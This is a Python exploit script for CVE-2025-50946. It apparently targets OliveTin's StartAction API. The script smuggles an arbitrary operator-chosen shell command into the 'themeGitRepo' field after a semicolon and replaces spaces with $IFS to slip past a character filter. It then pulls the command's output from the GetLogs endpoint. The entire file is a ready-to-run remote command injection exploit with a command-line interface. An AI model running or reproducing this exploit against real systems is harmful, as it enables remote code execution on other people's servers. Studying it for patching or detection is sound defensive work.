#!/usr/bin/python import argparse import ipaddress import requests import sys import time from urllib.parse import urlparse def main(args): validate(args) target = f"{args.target}:{args.port}" msg = f"[*] Target: {target}" print(msg) endpoint = "/api/StartAction" full_url = target + endpoint cmd_payload = build_command(args.command) print(f"[*] Payload: {cmd_payload}") # Match format of javascript's Date.now() current_epoch_time = time.time_ns() // 1_000_000 get_theme_uuid = "8efb249e-b0a3-4842-9f67-e04b67b7a750" data = { "actionId": get_theme_uuid, "arguments": [ { "name":"themeGitRepo", "value":f"http://t;{cmd_payload}" }, { "name":"themeFolderName", "value":"" } ], "uniqueTrackingId": str(current_epoch_time) } print("[*] Sending payload... ") response = requests.post(full_url, json=data) if response.status_code == 200: pass else: print() print(f"[-] Got bad HTTP response code: {response.status_code}") print(response.text) # Check /api/GetLogs for command output # Set a few headers for good measure output_endpoint = "/api/GetLogs" headers = { "Referer": f"{target}/logs", "Accept": "*/*" } full_url = target + output_endpoint response = requests.get(full_url, headers=headers) if response.status_code == 200: response_dict = response.json() logs = response_dict.get("logs") # Filter out logs which were not "Get Theme" actions logs = [l for l in logs if l.get("actionId") == get_theme_uuid] # Get output from latest action # Remove blank lines and the line containing the error message cmd_output_lines = logs[-1].get("output").split("\n") cmd_output_lines = [l for l in cmd_output_lines if l] cmd_output_lines = [l for l in cmd_output_lines if "olivetin-get-theme: not found" not in l] print("\n".join(cmd_output_lines)) else: print(f"[-] Got non-200 HTTP response code: {response.status_code}") print(response.text) def build_command(cmd_raw): """ Banned characters: -> replace with $IFS """ cmd_payload = cmd_raw.replace(" ","$IFS") return cmd_payload def validate(args): parsed = urlparse(args.target) if parsed.scheme not in ("http", "https"): sys.exit(f"[!] Invalid scheme: must be http:// or https:// (got {args.target!r})") if not parsed.netloc or parsed.path or parsed.query or parsed.fragment: sys.exit(f"[!] Invalid target: must be exactly http://IP or https://IP (got {args.target!r})") if parsed.port is not None or "@" in parsed.netloc: sys.exit(f"[!] Invalid target: no port or userinfo allowed in URL (got {args.target!r})") try: ipaddress.ip_address(parsed.hostname) except (ValueError, TypeError): sys.exit(f"[!] Invalid IP address in target: {parsed.hostname!r}") if args.port is None: args.port = 443 if parsed.scheme == "https" else 80 if not 1 <= args.port <= 65535: sys.exit(f"[!] Invalid port: {args.port} (must be 1-65535)") if __name__ == "__main__": parser = argparse.ArgumentParser(description="Exploit script for CVE-2025-50946") parser.add_argument("-t", "--target", required=True, help="Target URL (http://IP or https://IP)") parser.add_argument("-p", "--port", type=int, help="Target port (1-65535); defaults to 80/443 by scheme") parser.add_argument("--command", required=True, type=str, help="Command to inject") args = parser.parse_args() main(args)